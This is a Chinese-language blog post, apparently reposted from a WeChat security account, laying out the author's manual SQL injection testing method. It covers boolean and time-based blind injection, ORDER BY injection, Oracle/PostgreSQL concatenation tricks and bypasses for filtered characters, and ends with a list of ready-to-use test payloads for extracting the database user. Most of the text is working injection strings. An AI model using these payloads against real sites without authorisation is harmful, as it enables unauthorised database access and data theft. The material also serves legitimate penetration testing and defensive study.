前言
最近很多小伙伴问我sql注入怎么挖到的,为什么他遇不到,其实仔细点还是很容易就遇到的
测试思路
正常来说每个参数我都会插入单引号、双引号、括号去观察页面回显,如果一点变化没有基本就没sql注入了,如果没过滤肯定会有异常,有过滤会显示拦截页面,就可以尝试能不能绕过
盲注
最基础的布尔盲注
这里先说注user(),因为注user()不需要考虑太多,注表的话就需要考虑数据库类型了
id=1'and 1=1 or 'a'='b 此时语句应为正常
id=1'and 1=2 or 'a'='b 此时语句应为不正常
这里and的优先级比or高,中间1=1为true则返回true,否则返回false
id=-1'or 1=2 or 'a'='b 将前面改为-1然后用or也是可以的
因为测试过程中网站返回的错误页面是各种各样的
我们只需要确定1=1为一种,其他情况均和1=1返回的不同即可
ascii(substr(user(),1,1)) 返回的是从第一位开始截取1位字符的ascii码
id=1'and 1=ascii(substr(user(),1,1)) or 'a'='b
我们遍历and后面这个1,只有相等时才会正常,就会有一条数据返回的长度不一样
当我们理解了上面的原理就好说了,然后基于上面的思路去拓展
用户名是r开头,匹配不到就会返回fasle,只有第一位是r才会返回true
id=1'and user() like 'a%' or 'a'='b %表示匹配所有
id=1'and user() like 'a_' or 'a'='b _表示匹配一个
没有匹配到返回为false
注第二位,前面加个r直接继续跑就行
时间盲注
if(1=2,1,sleep(4)) 相等正常,不等则延时4秒
orcale中没有sleep,可以用下面这个
DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a' 延迟4秒
只有相等才不会延时
id=1'and if(114=ascii(substr(user(),1,1)),1,sleep(4)) or 'a'='b
id=1'and sleep(5*(1)) or 'a'='b 延时5秒
id=1'and sleep(5*(0)) or 'a'='b 不会延时
注user,只有相等时才会延时
id=1'and sleep(5*(ascii(substr(user(),1,1))=114)) or 'a'='b
逻辑判断函数
如果1=1则返回1,否则返回2
case when 1=1 then 1 else 2 end
1=1返回1,否则返回2
if(1=1,1,1)
前面不为null就返回11,为null返回500
IFNULL(11,500)
如果相等返回为null,否则返回5
NULLIF(5,10)
orcale还可以使用decode函数,如果前面两个1相等则返回1,否则返回2
decode(1,1,1,2)
其他更多函数使用方法可以自己去看官方文档
不等时返回true
注user遍历前面数字即可
id=1'and NULLIF(1,ascii(substr(user(),1,1))) or 'a'='b
常用的函数
user()、current_user()、system_user()、session_user()
有的数据库则为user
过滤=号
使用< > regexp like rlike Between
过滤逗号
union select 1,2,3
union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23
substr(user(),1,1)等价于substr((user()) from 1 for 1)
过滤空格
+ %00 %0A /**/ ()
过滤or and
and = &&、or = ||、xor = |、not = !
还可以尝试一些编码,url、unicod、base64之类的
length(user()) 返回目标长度
len(user) 同length
substr(str,pos,len) 从pos开始的位置截取str字符串中len长度的字符
substring() 同substr
mid() 同substr
right(str,length) 返回字符串str最右边的length个字符
ascii(str) 返回字符串最左边字符的ASCII码值
ord(str) 同ascii
lpad(str1,len,str2) 如果str1大于len,返回str1左边的len个字符,否则在str1左边填充str2至len
rpad(str1,len,str2) 跟lpad同理,不过是在右边填充
instr (root,r) 返回字符串root中第一次出现r的位置,从1开始
position('r' in 'root')返回r在root中首次出现的位置
ltrim()和rtrim() 去除字符串左侧或右侧的空格或其他指定字符。
insert(str,len,x,new) 用于在指定位置插入一个子字符串,并可选择替换原有的部分字符
strcmp (str1,str2) 所有的字符串均相同,返回0,若根据当前分类次序,第一个参数小于第二个,则返回-1,其它情况返回1
下面是移除abcd句首的b,但是abcd并不以b为句首开头,所以会返回abcd
trim(leading 'b' from 'abcd')
下面则会返回bcd
trim(leading 'a' from 'abcd')
那我们的注入语句为
id=1'and trim(leading 'b' from user())=trim(leading 'c' from user()) or 'a'='b
insert((insert(目标字符串,1,截取的位数,'')),2,9999999,'') 这里截取的位数从0开始数
只需要记住下面返回的是user的第一位
insert((insert(user(),1,0,'')),2,9999999,'')
注入语句为
id=1'and insert((insert(user(),1,0,'')),2,9999999,'')='y' or 'a'='b
concat(str1,str2) 函数用于连续两个或多个字符串(也可以是列),形成一个字符串
group_concat(str1,str2) 连接str1,str2,如果有多行结果用逗号分割
conv(str,m,n) 将str从m进制转换为n进制
hex() 十六进制编码
lower() 转成小写字母
upper() 转成大写字母
char(num) 将ASCII码转换为字符串
exp(710) 计算以e为底的710次方,临界值709
cot(1) 表示角度为1弧度的角的余切值,cot(0)无意义会报错
power(2,99999) 计算2的99999次方
UpdateXml() 用来改变文档中符合我们条件的值
extractvalue() 从目标XML中返回符合我们条件的字符串
greatest(n1,n2) 返回最大的值
least(n1,n2,n3) 返回最小的值
排序注入
排序注入就是我们传的参数值在order by后面,因为一般order by后面跟的是列名或者数字,不能是字符串,默认就不会预编译,就很可能发生sql注入
select * from 表名 order by 列名或者数字(我们可控) desc
一般参数为sort、order或sortname,有一个参数值为desc或asc
一般测试的时候加一个特别大的数字来观察页面是否发生异常
这里不同的排序返回的大小是不同的就可以来进行注入
例如if,这里只返回5条数据,不然不管怎么排序返回包都是一样大,一般正常测试中也会有参数控制返回几条数据
1=2就是另外一种结果
注user
sort=if(114=ascii(substr(user(),1,1)),id,username)
用case when也是一个道理,一般这个不会过滤
sort=case when 1=1 then id else username end
sort=case 1 when 1 then id else username end 过滤=号可以这样写
sort=,case 1 when 1 then id else username end 有时候前面还需要加个逗号
也可以利用数据库报错
sort=case 1 when 1 then id else exp(710) end
sort=case 1 when 1 then id else cot(0) end
sort=case 1 when 1 then id else power(2,9999) end
原理就是else后面这个函数的值会特别大或者没有意义就会异常
时间盲注也是一个道理,不过基本用不到还容易延迟到死
还可以利用rand函数
sort=rand(1=1)
sort=rand(1=2)
sort=rand(114=ascii(substr(user(),1,1)))
sort=updatexml(1,concat(0x7e,(select user()),0x7e),1)
0x7e是"~"符号的16进制,在这作为分隔符
||连接符
在orcale、PostgreSQL、DB2等数据库中||为字符串连接符,例如当一个参数为id=1,我们可以这样的思路去测试
id=1'||exp(710)||'
id=1'||cot(0)||'
id=1'||power(2,99999)||'
注入思路跟上面order by差不多
id=1'||case when 1=1 then power(2,99999) else 1 end||' 报错
id=1'||case when 1=2 then power(2,99999) else 1 end||' 正常
注user也是一个道理
id=1'||case when ascii(substr(user,1,1))=17 then power(2,99999) else 1 end||'
个人常用的测试payload
判断
'/**/or/**/DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a
' AnD '' like '%
case/**/when/**/1=1/**/then/**/1/**/else/**/0/**/end
'AND updatexml(1,concat(0x7e,(select database(),0x7e),1)--+
AND if(1=1,sleep(5),1)--+
'AND +'a'='a'+OR+'a'='a
')and/**/1=1/**/and/**/('a'='a
')/**/AND/**/('a'='b
'/**/and/**/'a'='b'+or/**/'a'='a
'OR 'a' in 'a' OR 'a' in 'a
CASE 1 WHEN 1 THEN 1 ELSE 1 END
||case+when+1=1+then+1+else+exp(1000)+end
'||cot/**/(0)||'
'||DECODE(1,2,1,cot/**/(0))||'
,case+when+1=1+then+cot(0)+else+exp(800)+end
数据库报错
exp(710)
cot(0)
POW(1,1,1,)
pow(1+(1=1),99999)
power(9999,9999)
AND+1=extractvalue(1,concat(0x7e,user(),0x7e))
注数据
ord(mid(user(),1,1))=11
ascii(mid(user()+from+10+for+1))=17
ascii(substr(user,1,1))=17
left(user,1)='T'
instr(user,'A')=1
用户
user() current_user() system_user() session_user() user
总结
原文始发于微信公众号(起凡安全):SQL注入个人手工测试思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论